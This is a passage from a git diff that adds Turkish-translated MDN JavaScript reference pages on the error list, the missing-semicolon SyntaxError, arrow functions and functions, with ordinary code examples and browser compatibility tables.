scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-class-definitions', 'Class definitions')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(42.0)}}</td> + <td>{{CompatGeckoDesktop(45)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoMobile(45)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatChrome(42.0)}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/errors/index.html b/files/tr/web/javascript/reference/errors/index.html new file mode 100644 index 0000000000..c295fccea6 --- /dev/null +++ b/files/tr/web/javascript/reference/errors/index.html @@ -0,0 +1,31 @@ +--- +title: JavaScript error reference +slug: Web/JavaScript/Reference/Errors +tags: + - Debugging + - Error + - Errors + - Exception + - JavaScript + - NeedsTranslation + - TopicStub + - exceptions +translation_of: Web/JavaScript/Reference/Errors +--- +<p>{{jsSidebar("Errors")}}</p> + +<p>Below, you'll find a list of errors which are thrown by JavaScript. These errors can be a helpful debugging aid, but the reported problem isn't always immediately clear. The pages below will provide additional details about these errors. Each error is an object based upon the {{jsxref("Error")}} object, and has a <code>name</code> and a <code>message</code>.</p> + +<p>Errors displayed in the Web console may include a link to the corresponding page below to help you quickly comprehend the problem in your code.</p> + +<h2 id="List_of_errors">List of errors</h2> + +<p>In this list, each page is listed by name (the type of error) and message (a more detailed human-readable error message). Together, these two properties provide a starting point toward understanding and resolving the error. For more information, follow the links below!</p> + +<p>{{ListSubPages("/en-US/docs/Web/JavaScript/Reference/Errors")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a>: Beginner's introductory tutorial on fixing JavaScript errors.</li> +</ul> diff --git a/files/tr/web/javascript/reference/errors/missing_semicolon_before_statement/index.html b/files/tr/web/javascript/reference/errors/missing_semicolon_before_statement/index.html new file mode 100644 index 0000000000..2a811725bf --- /dev/null +++ b/files/tr/web/javascript/reference/errors/missing_semicolon_before_statement/index.html @@ -0,0 +1,71 @@ +--- +title: 'SyntaxError: missing ; before statement' +slug: Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement +tags: + - JavaScript + - Noktalı virgül + - Sentaks Hatası +translation_of: Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement +--- +<div> +<p>{{jsSidebar("Errors")}}</p> + +<h2 id="Mesaj">Mesaj</h2> + +<pre>Syntax Error: Missing ; before statement +//Sentaks Hatası: ifadeden önce ; eksik +</pre> + +<h2 id="Hata_Tipi">Hata Tipi</h2> + +<p>{{jsxref("SyntaxError")}}.</p> + +<h2 id="Ne_Ters_Gitti">Ne Ters Gitti?</h2> + +<p>Kodunuzda bir yerlerde noktalı virgül (<code>;</code>) eksik. <a href="/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript ifadeleri</a> noktalı virgül ile sonlandırılmalıdır. Bu ifadelerden bazılarına <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">otomatik noktalı virgül eklenmektedir (ASI)</a>, fakat bu durumda, JavaScript'in kaynak kodunu doğru bir şekilde çözümleyebilmesi için noktalı virgülü sizin eklemeniz gerekmektedir. </p> + +<p>Bununla birlikte, çoğunlukla bu hata, başka bir hatanın sonucudur, <code>var</code> ifadesinin yanlış kullanımı, string ifadelerinin yazımında tırnakların yanlış kullanımı sebebiyle olabilir, belki de bir yerlerde fazladan bir parantez unuttunuz. Bu hata ile karşılaştığınızda, sentaksınızı kontrol edin, yazım hatalarınızı gözden geçirin.<br> + </p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Kaçınılan_metin_ifadeleri">Kaçınılan metin ifadeleri</h3> + +<p>Metin ifadelerindeki tırnak kullanımında, metin içinde yer almakta olan tırnakları görüntülemek için önlerine \ yatay çizgi koymalısınız ki JavaScript motoru, sizin metin ifadenizin çoktan bitmiş olduğu izlenimine kapılmasın. Örnek olarak:</p> + +<pre>var foo = 'Tomris'in barı'; +Sentaks Hatası: ifadeden önce ; eksik</pre> + +<p>Çift tırnak kullanarak tek tırnağın yanlış kullanımından kaçınabilirsiniz. </p> + +<pre>var foo = "Tomris'in barı"; +var foo = 'Tomris\'in barı'; +</pre> + +<h3 id="var_ile_Özellikleri_Deklare_Etmek">var ile Özellikleri Deklare Etmek</h3> + +<p>var ile bir nesneye veya diziye ait bir özellik <strong>tanımlayamazsınız</strong>. </p> + +<pre>var nesne = {}; +var nesne.foo = 'hey'; Sentaks Hatası: ifadeden önce ; eksik + +var dizi = []; +var dizi[0] = 'selam'; Sentaks Hatası: ifadeden önce ; eksik +</pre> + +<p>Bunun yerine, <code>var</code> anahtar sözcüğünü kaldırın:</p> + +<pre>var nesne = {}; +nesne.foo = 'hey'; + +var dizi= []; +dizi[0] = 'selam'; +</pre> + +<h2 id="Ayrıca_Göz_Atın">Ayrıca Göz Atın</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">Otomatik noktalı virgül eklenmesi (ASI)</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript ifadeleri</a></li> +</ul> +</div> diff --git a/files/tr/web/javascript/reference/functions/arrow_functions/index.html b/files/tr/web/javascript/reference/functions/arrow_functions/index.html new file mode 100644 index 0000000000..68d6fb3cc7 --- /dev/null +++ b/files/tr/web/javascript/reference/functions/arrow_functions/index.html @@ -0,0 +1,359 @@ +--- +title: Arrow functions +slug: Web/JavaScript/Reference/Functions/Arrow_functions +translation_of: Web/JavaScript/Reference/Functions/Arrow_functions +--- +<div>{{jsSidebar("Functions")}}</div> + +<div>Arrow fonksiyonlar normal fonksiyonların kısa yoldan yazılabilen türüdür ve kendi içerisinde <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code>, <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a>, <a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super</a>, ya da <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new.target">new.target</a> erişimine sahip değildir. Bu fonksiyon tanımlaması özellikle methodsuz fonksiyonlar için çok uygundur. Constructor olarak kullanılamaz. </div> + +<h2 id="Söz_Dizimi">Söz Dizimi</h2> + +<h3 id="Temel_Söz_Dizimi">Temel Söz Dizimi</h3> + +<pre class="syntaxbox notranslate"><strong>(</strong><em>param1</em>, <em>param2</em>, …, <em>paramN</em><strong>) => {</strong> <em>statements</em> <strong>}</strong> +<strong>(</strong><em>param1</em>, <em>param2</em>, …, <em>paramN</em><strong>) =></strong> <em>expression</em> +// buna eşittir: <strong>(</strong><em>param1</em>, <em>param2</em>, …, <em>paramN</em><strong>)</strong> => { return <em>expression</em>; } + +// Eğer tek parametre var ise parantezsiz kullanılabilir: +<em>(singleParam)</em> <strong>=> {</strong> <em>statements</em> <strong>}</strong> +<em>singleParam</em> <strong>=></strong> { <em>statements </em>} +<em>singleParam</em> <strong>=></strong> <em>expression</em> + + +// Parametre beklenmeyen durumlarda parantez çifti kullanılmalıdır +() => { <em>statements</em> } +</pre> + +<h3 id="İleri_Düzey_Söz_Dizimi">İleri Düzey Söz Dizimi</h3> + +<pre class="syntaxbox notranslate">// Parantez çifti kullanılarak obje tipi veri dönüşü yapılır. +<em>params</em> => ({<em>foo: bar</em>}) + +// <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">Rest parameters</a> ve <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">default parameters</a> desteklenmektedir +(<em>param1</em>, <em>param2</em>, <strong>...rest</strong>) => { <em>statements</em> } +(<em>param1</em> <strong>= defaultValue1</strong>, <em>param2</em>, …, paramN <strong>= defaultValueN</strong>) => { <em>statements</em> } + +// <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Destructuring</a> parametre listesi içinde de desteklenir +let f = ([a, b] = [1, 2], {x: c} = {x: a + b}) => a + b + c; +f(); +// 6 +</pre> + +<h2 id="Description">Description</h2> + +<p>Şunu da inceleyin <a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">"ES6 In Depth: Arrow functions" on hacks.mozilla.org</a>.</p> + +<p>Arrow fonksiyonlarının iki dikkat çekici özelliği vardır: daha kısa fonksiyonlara ihtiyaç ve <code>this</code> anahtar kelimesinin kullanımı.</p> + +<h3 id="Kısa_fonksiyonlar">Kısa fonksiyonlar</h3> + +<pre class="brush: js notranslate">var materials = [ + 'Hydrogen', + 'Helium', + 'Lithium', + 'Beryllium' +]; + +materials.<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(function(material) { + return material.length; +}); // [8, 6, 7, 9] + +materials.<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>((material) => { + return material.length; +}); // [8, 6, 7, 9] + +materials.<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(({length}) => length); // [8, 6, 7, 9] +</pre> + +<h3 id="No_separate_this">No separate <code>this</code></h3> + +<p>Arrow fonksiyonlara kadar, her yeni fonksiyon nasıl çağrıldığına bağlı olarak kendi this değerini belirlerdi:</p> + +<p>Constructor durumunda yeni bir nesne.<br> + Strict mode fonksiyon çağrılması durumunda undefined.<br> + Eğer fonksiyon "nesne metodu" olarak çağrılmışsa temel nesne.<br> + etc.<br> + <br> + Bu kullanım nesne-yönelimli programla içerisinde ideal kullanım değildi.</p> + +<pre class="brush: js notranslate">function Person() { + // The Person() fonksiyonu kendini temsil eden this değerini oluşturuyor + this.age = 0; + + setInterval(function growUp() { + // non-strict modda, growUp() fonksiyonuda her fonksiyon gibi + // kendi this değerini tanımlar + // bu sayede bir üstteki this değerine artık ulaşamıyor oluruz + this.age++; //bu işlem Person() fonksiyonundaki age değerine işlemez. + }, 1000); +} + +var p = new Person();</pre> + +<p>ECMAScript 3/5'te bu <code>this</code> sorunu this değerinin başka bir değişkene atanarak aşılabilmekteydi.</p> + +<pre class="brush: js notranslate">function Person() { + var that = this; + that.age = 0; + + setInterval(function growUp() { + // 'that' bir üstteki this değerine etki eder. + that.age++; + }, 1000); +}</pre> + +<p>Alternatif olarak, <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">bound function</a> tanımlaması yaparak önceden atanmış <code>this</code> değeri <code>growUp() </code>fonksiyonuna bu işlevi kazandırabilir.</p> + +<p>Fakat arrow fonksiyonlar kendi <code>this</code> değerine sahip değildir; kapsayıcı yürütme fonksiyonunun <code>this</code> değeri kullanılır. Böylelikle aşağıdaki örnekte olduğu gibi <code>setInterval</code>'e atanmış arrow fonksiyon kendi <code>this</code> değeri olmadığı için <code>Person()</code> fonksiyonunun this değerine etki eder.</p> + +<pre class="brush: js notranslate">function Person(){ + this.age = 0; + + setInterval(() => { + this.age++; // |this| person objesine atıfta bulunur + }, 1000); +} + +var p = new Person();</pre> + +<h4 id="Strict_mode_ile_ilişkisi">Strict mode ile ilişkisi</h4> + +<p>Kapsayıcı sözcüksel bağlamından gelen <code>this</code> değeri, <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a> kuralları uygulandığında görmezden gelinir</p> + +<pre class="brush: js notranslate">var f = () => { 'use strict'; return this; }; +f() === window; // or the global object</pre> + +<p>Diğer strict mode kuralları normal olarak geçerlidir.</p> + +<h4 id="Invoked_through_call_or_apply">Invoked through call or apply</h4> + +<p>Arrow fonksiyonların <code>this</code> değeri olmadığı için, <code>call()</code> ve <code>apply()</code> methotları sadece parametre verilebilir. <code>thisArg</code> görmezden gelinir.</p> + +<pre class="brush: js notranslate">var adder = { + base: 1, + + add: function(a) { + var f = v => v + this.base; + return f(a); + }, + + addThruCall: function(a) { + var f = v => v + this.base; + var b = { + base: 2 + }; + + return f.call(b, a); + } +}; + +console.log(adder.add(1)); // This would log to 2 +console.log(adder.addThruCall(1)); // This would log to 2 still</pre> + +<h3 id="No_binding_of_arguments">No binding of <code>arguments</code></h3> + +<p>Arrow functions do not have their own <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments"><code>arguments</code> object</a>. Thus, in this example, <code>arguments</code> is simply a reference to the the arguments of the enclosing scope:</p> + +<pre class="brush: js notranslate">var arguments = [1, 2, 3]; +var arr = () => arguments[0]; + +arr(); // 1 + +function foo(n) { + var f = () => arguments[0] + n; // <em>foo</em>'s implicit arguments binding. arguments[0] is n + return f(10); +} + +foo(1); // 2</pre> + +<p>Çoğu durumda <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parametreleri</a>, <code>arguments</code> nesnesinin iyi bir alternatifidir.</p> + +<pre class="brush: js notranslate">function foo(n) { + var f = (...args) => args[0] + n; + return f(10); +} + +foo(1); // 11</pre> + +<h3 id="Method_olarak_kullanılan_Arrow_fonksiyonları">Method olarak kullanılan Arrow fonksiyonları</h3> + +<p>As stated previously, arrow function expressions are best suited for non-method functions. Let's see what happens when we try to use them as methods:</p> + +<pre class="brush: js notranslate">'use strict'; +var obj = { + i: 10, + b: () => console.log(this.i, this), + c: function() { + console.log(this.i, this); + } +} +obj.b(); // prints undefined, Window {...} (or the global object) +obj.c(); // prints 10, Object {...}</pre> + +<p>Arrow functions do not have their own <code>this</code>. Another example involving {{jsxref("Object.defineProperty()")}}:</p> + +<pre class="brush: js notranslate">'use strict'; +var obj = { + a: 10 +}; + +Object.defineProperty(obj, 'b', { + get: () => { + console.log(this.a, typeof this.a, this); + return this.a + 10; // represents global object 'Window', therefore 'this.a' returns 'undefined' + } +}); +</pre> + +<h3 id="new_operatörü_kullanımı"><code>new</code> operatörü kullanımı</h3> + +<p>Arrow functions cannot be used as constructors and will throw an error when used with <code>new</code>.</p> + +<pre class="brush: js notranslate">var Foo = () => {}; +var foo = new Foo(); // TypeError: Foo is not a constructor</pre> + +<h3 id="prototype_özelliği_kullanımı"><code>prototype</code> özelliği kullanımı</h3> + +<p>Arrow fonksiyonlarının <code>prototype</code> özelliği yoktur.</p> + +<pre class="brush: js notranslate">var Foo = () => {}; +console.log(Foo.prototype); // undefined +</pre> + +<h3 id="yield_anahtarının_kullanımı"><code>yield</code> anahtarının kullanımı</h3> + +<p>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code> keyword may not be used in an arrow function's body (except when permitted within functions further nested within it). As a consequence, arrow functions cannot be used as generators.</p> + +<h2 id="Function_body">Function body</h2> + +<p>Arrow functions can have either a "concise body" or the usual "block body".</p> + +<p>In a concise body, only an expression is specified, which becomes the explicit return value. In a block body, you must use an explicit <code>return</code> statement.</p> + +<pre class="brush: js notranslate">var func = x => x * x; +// concise body syntax, implied "return" + +var func = (x, y) => { return x + y; }; +// with block body, explicit "return" needed +</pre> + +<h2 id="Returning_object_literals">Returning object literals</h2> + +<p>Keep in mind that returning object literals using the concise body syntax <code>params => {object:literal}</code> will not work as expected.</p> + +<pre class="brush: js notranslate">var func = () => { foo: 1 }; +// Calling func() returns undefined! + +var func = () => { foo: function() {} }; +// SyntaxError: function statement requires a name</pre> + +<p>This is because the code inside braces ({}) is parsed as a sequence of statements (i.e. <code>foo</code> is treated like a label, not a key in an object literal).</p> + +<p>Remember to wrap the object literal in parentheses.</p> + +<pre class="brush: js notranslate">var func = () => ({foo: 1});</pre> + +<h2 id="Line_breaks">Line breaks</h2> + +<p>An arrow function cannot contain a line break between its parameters and its arrow.</p> + +<pre class="brush: js notranslate">var func = () + => 1; +// SyntaxError: expected expression, got '=>'</pre> + +<h2 id="Parsing_order">Parsing order</h2> + +<p>Although the arrow in an arrow function is not an operator, arrow functions have special parsing rules that interact differently with <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">operator precedence</a> compared to regular functions.</p> + +<pre class="brush: js notranslate">let callback; + +callback = callback || function() {}; // ok + +callback = callback || () => {}; +// SyntaxError: invalid arrow-function arguments + +callback = callback || (() => {}); // ok +</pre> + +<h2 id="More_examples">More examples</h2> + +<pre class="brush: js notranslate">// An empty arrow function returns undefined +let empty = () => {}; + +(() => 'foobar')(); +// Returns "foobar" +// (this is an Immediately Invoked Function Expression +// see 'IIFE' in glossary) + +var simple = a => a > 15 ? 15 : a; +simple(16); // 15 +simple(10); // 10 + +let max = (a, b) => a > b ? a : b; + +// Easy array filtering, mapping, ... + +var arr = [5, 6, 13, 0, 1, 18, 23]; + +var sum = arr.reduce((a, b) => a + b); +// 66 + +var even = arr.filter(v => v % 2 == 0); +// [6, 0, 18] + +var double = arr.map(v => v * 2); +// [10, 12, 26, 0, 2, 36, 46] + +// More concise promise chains +promise.then(a => { + // ... +}).then(b => { + // ... +}); + +// Parameterless arrow functions that are visually easier to parse +setTimeout( () => { + console.log('I happen sooner'); + setTimeout( () => { + // deeper code + console.log('I happen later'); + }, 1); +}, 1); +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div> + + +<p>{{Compat("javascript.functions.arrow_functions")}}</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">"ES6 In Depth: Arrow functions" on hacks.mozilla.org</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/functions/index.html b/files/tr/web/javascript/reference/functions/index.html new file mode 100644 index 0000000000..0b67f9aa30 --- /dev/null +++ b/files/tr/web/javascript/reference/functions/index.html @@ -0,0 +1,596 @@ +--- +title: Functions +slug: Web/JavaScript/Reference/Functions +tags: + - Constructor + - Function + - Functions + - JavaScript + - NeedsTranslation + - Parameter + - TopicStub + - parameters +translation_of: Web/JavaScript/Reference/Functions +--- +<div>{{jsSidebar("Functions")}}</div> + +<p>Generally speaking, a function is a "subprogram" that can be <em>called</em> by code external (or internal in the case of recursion) to the function. Like the program itself, a function is composed of a sequence of statements called the <em>function body</em>. Values can be <em>passed</em> to a function, and the function will <em>return</em> a value.</p> + +<p>In JavaScript, functions are first-class objects, because they can have properties and methods just like any other object. What distinguishes them from other objects is that functions can be called. In brief, they are <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function">Function</a></code> objects.</p> + +<p>For more examples and explanations, see also the <a href="/en-US/docs/Web/JavaScript/Guide/Functions">JavaScript guide about functions</a>.</p> + +<h2 id="Description">Description</h2> + +<p>Every function in JavaScript is a <code>Function</code> object. See {{jsxref("Function")}} for information on properties and methods of <code>Function</code> objects.</p> + +<p>To return a value other than the default, a function must have a <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/return">return</a></code> statement that specifies the value to return. A function without a return statement will return a default value. In the case of a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">constructor</a> called with the <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code> keyword, the default value is the value of its <code>this</code> parameter. For all other functions, the default return value is {{jsxref("undefined")}}.</p> + +<p>The parameters of a function call are the function's <em>arguments</em>. Arguments are passed to functions <em>by value</em>. If the function changes the value of an argument, this change is not reflected globally or in the calling function. However, object references are values, too, and they are special: if the function changes the referred object's properties, that change is visible outside the function, as shown in the following example:</p> + +<pre class="brush: js">/* Declare the function 'myFunc' */ +function myFunc(theObject) { + theObject.brand = "Toyota"; +} + +/* + * Declare variable 'mycar'; + * create and initialize a new Object; + * assign reference to it to 'mycar' + */ +var mycar = { + brand: "Honda", + model: "Accord", + year: 1998 +}; + +/* Logs 'Honda' */ +console.log(mycar.brand); + +/* Pass object reference to the function */ +myFunc(mycar); + +/* + * Logs 'Toyota' as the value of the 'brand' property + * of the object, as changed to by the function. + */ +console.log(mycar.brand); +</pre> + +<p>The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code> keyword</a> does not refer to the currently executing function, so you must refer to <code>Function</code> objects by name, even within the function body.</p> + +<h2 id="Defining_functions">Defining functions</h2> + +<p>There are several ways to define functions:</p> + +<h3 id="The_function_declaration_(function_statement)">The function declaration (<code>function</code> statement)</h3> + +<p>There is a special syntax for declaring functions (see <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">function statement</a> for details):</p> + +<pre class="syntaxbox">function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) { + <em>statements</em> +} +</pre> + +<dl> + <dt><code>name</code></dt> + <dd>The function name.</dd> +</dl> + +<dl> + <dt><code>param</code></dt> + <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd> +</dl> + +<dl> + <dt><code>statements</code></dt> + <dd>The statements comprising the body of the function.</dd> +</dl> + +<h3 id="The_function_expression_(function_expression)">The function expression (<code>function</code> expression)</h3> + +<p>A function expression is similar to and has the same syntax as a function declaration (see <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">function expression</a> for details). A function expression may be a part of a larger expression. One can define "named" function expressions (where the name of the expression might be used in the call stack for example) or "anonymous" function expressions. Function expressions are not <em>hoisted</em> onto the beginning of the scope, therefore they cannot be used before they appear in the code.</p> + +<pre class="syntaxbox">function [<em>name</em>]([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) { + <em>statements</em> +} +</pre> + +<dl> + <dt><code>name</code></dt> + <dd>The function name. Can be omitted, in which case the function becomes known as an anonymous function.</dd> +</dl> + +<dl> + <dt><code>param</code></dt> + <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd> + <dt><code>statements</code></dt> + <dd>The statements comprising the body of the function.</dd> +</dl> + +<p>Here is an example of an <strong>anonymous</strong> function expression (the <code>name</code> is not used):</p> + +<pre class="brush: js">var myFunction = function() { + statements +}</pre> + +<p>It is also possible to provide a name inside the definition in order to create a <strong>named</strong> function expression:</p> + +<pre class="brush: js">var myFunction = function namedFunction(){ + statements +} +</pre> + +<p>One of the benefit of creating a named function expression is that in case we encounted an error, the stack trace will contain the name of the function, making it easier to find the origin of the error.</p> + +<p>As we can see, both examples do not start with the <code>function</code> keyword. Statements involving functions which do not start with <code>function</code> are function expressions.</p> + +<p>When functions are used only once, a common pattern is an <strong>IIFE (<em>Immediately Invokable Function Expression</em>)</strong>.</p> + +<pre class="brush: js">(function() { + statements +})();</pre> + +<p>IIFE are function expressions that are invoked as soon as the function is declared.</p> + +<h3 id="The_generator_function_declaration_(function*_statement)">The generator function declaration (<code>function*</code> statement)</h3> + +<p>There is a special syntax for generator function declarations (see {{jsxref('Statements/function*', 'function* statement')}} for details):</p> + +<pre class="syntaxbox">function* <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) { + <em>statements</em> +} +</pre> + +<dl> + <dt><code>name</code></dt> + <dd>The function name.</dd> +</dl> + +<dl> + <dt><code>param</code></dt> + <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd> +</dl> + +<dl> + <dt><code>statements</code></dt> + <dd>The statements comprising the body of the function.</dd> +</dl> + +<h3 id="The_generator_function_expression_(function*_expression)">The generator function expression (<code>function*</code> expression)</h3> + +<p>A generator function expression is similar to and has the same syntax as a generator function declaration (see {{jsxref('Operators/function*', 'function* expression')}} for details):</p> + +<pre class="syntaxbox">function* [<em>name</em>]([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) { + <em>statements</em> +} +</pre> + +<dl> + <dt><code>name</code></dt> + <dd>The function name. Can be omitted, in which case the function becomes known as an anonymous function.</dd> +</dl> + +<dl> + <dt><code>param</code></dt> + <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd> + <dt><code>statements</code></dt> + <dd>The statements comprising the body of the function.</dd> +</dl> + +<h3 id="The_arrow_function_expression_(>)">The arrow function expression (=>)</h3> + +<p>An arrow function expression has a shorter syntax and lexically binds its <code>this</code> value (see <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow functions</a> for details):</p> + +<pre class="syntaxbox">([param[, param]]) => { + statements +} + +param => expression +</pre> + +<dl> + <dt><code>param</code></dt> + <dd>The name of an argument. Zero arguments need to be indicated with <code>()</code>. For only one argument, the parentheses are not required. (like <code>foo => 1</code>)</dd> + <dt><code>statements or expression</code></dt> + <dd>Multiple statements need to be enclosed in brackets. A single expression requires no brackets. The expression is also the implicit return value of the function.</dd> +</dl> + +<h3 id="The_Function_constructor">The <code>Function</code> constructor</h3> + +<div class="note"> +<p><strong>Note:</strong> Using the <code>Function</code> constructor to create functions is not recommended since it needs the function body as a string which may prevent some JS engine optimizations and can also cause other problems.</p> +</div> + +<p>As all other objects, {{jsxref("Function")}} objects can be created using the <code>new</code> operator:</p> + +<pre class="syntaxbox">new Function (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>functionBody</em>) +</pre> + +<dl> + <dt><code>arg1, arg2, ... arg<em>N</em></code></dt> + <dd>Zero or more names to be used by the function as formal parameters. Each must be a proper JavaScript identifier.</dd> +</dl> + +<dl> + <dt><code>functionBody</code></dt> + <dd>A string containing the JavaScript statements comprising the function body.</dd> +</dl> + +<p>Invoking the <code>Function</code> constructor as a function (without using the <code>new</code> operator) has the same effect as invoking it as a constructor.</p> + +<h3 id="The_GeneratorFunction_constructor">The <code>GeneratorFunction</code> constructor</h3> + +<div class="note"> +<p><strong>Note:</strong> <code>GeneratorFunction</code> is not a global object, but could be obtained from generator function instance (see {{jsxref("GeneratorFunction")}} for more detail).</p> +</div> + +<div class="note"> +<p><strong>Note:</strong> Using the <code>GeneratorFunction</code> constructor to create functions is not recommended since it needs the function body as a string which may prevent some JS engine optimizations and can also cause other problems.</p> +</div> + +<p>As all other objects, {{jsxref("GeneratorFunction")}} objects can be created using the <code>new</code> operator:</p> + +<pre class="syntaxbox">new GeneratorFunction (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>functionBody</em>) +</pre> + +<dl> + <dt><code>arg1, arg2, ... arg<em>N</em></code></dt> + <dd>Zero or more names to be used by the function as formal argument names. Each must be a string that conforms to the rules for a valid JavaScript identifier or a list of such strings separated with a comma; for example "<code>x</code>", "<code>theValue</code>", or "<code>a,b</code>".</dd> +</dl> + +<dl> + <dt><code>functionBody</code></dt> + <dd>A string containing the JavaScript statements comprising the function definition.</dd> +</dl> + +<p>Invoking the <code>Function</code> constructor as a function (without using the <code>new</code> operator) has the same effect as invoking it as a constructor.</p> + +<h2 id="Function_parameters">Function parameters</h2> + +<h3 id="Default_parameters">Default parameters</h3> + +<p>Default function parameters allow formal parameters to be initialized with default values if no value or <code>undefined</code> is passed. For more details, see<a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters"> default parameters</a>.</p> + +<h3 id="Rest_parameters">Rest parameters</h3> + +<p>The rest parameter syntax allows to represent an indefinite number of arguments as an array. For more details, see <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameters</a>.</p> + +<h2 id="The_arguments_object">The <code>arguments</code> object</h2> + +<p>You can refer to a function's arguments within the function by using the <code>arguments</code> object. See <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a>.</p> + +<ul> + <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments">arguments</a></code>: An array-like object containing the arguments passed to the currently executing function.</li> + <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/callee">arguments.callee</a></code> {{Deprecated_inline}}: The currently executing function.</li> + <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/caller">arguments.caller</a></code> {{Obsolete_inline}} : The function that invoked the currently executing function.</li> + <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/length">arguments.length</a></code>: The number of arguments passed to the function.</li> +</ul> + +<h2 id="Defining_method_functions">Defining method functions</h2> + +<h3 id="Getter_and_setter_functions">Getter and setter functions</h3> + +<p>You can define getters (accessor methods) and setters (mutator methods) on any standard built-in object or user-defined object that supports the addition of new properties. The syntax for 